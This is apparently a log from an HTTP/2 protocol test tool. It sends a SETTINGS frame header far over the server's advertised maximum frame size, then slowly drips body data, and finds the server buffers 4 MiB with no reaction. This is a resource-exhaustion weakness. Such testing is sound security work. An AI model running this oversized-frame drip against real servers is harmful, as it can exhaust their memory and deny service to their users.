[15:23:19.242] Handshake complete. Server advertised max_frame_size=16384.
[15:23:19.243] Sending oversized SETTINGS header: length=16777215 (15 MiB) vs cap 16384.
[15:23:19.444] Server silent after header. Beginning body drip…
[15:23:19.857] Dripped 512 KiB so far, no reaction.
[15:23:20.265] Dripped 1024 KiB so far, no reaction.
[15:23:20.676] Dripped 1536 KiB so far, no reaction.
[15:23:21.094] Dripped 2048 KiB so far, no reaction.
[15:23:21.511] Dripped 2560 KiB so far, no reaction.
[15:23:21.925] Dripped 3072 KiB so far, no reaction.
[15:23:22.340] Dripped 3584 KiB so far, no reaction.
[15:23:22.749] Dripped 4096 KiB so far, no reaction.
[15:23:22.749] Drip cap reached: 4194304 bytes accepted with no server reaction. Server is buffering an oversized frame body well past max_frame_size.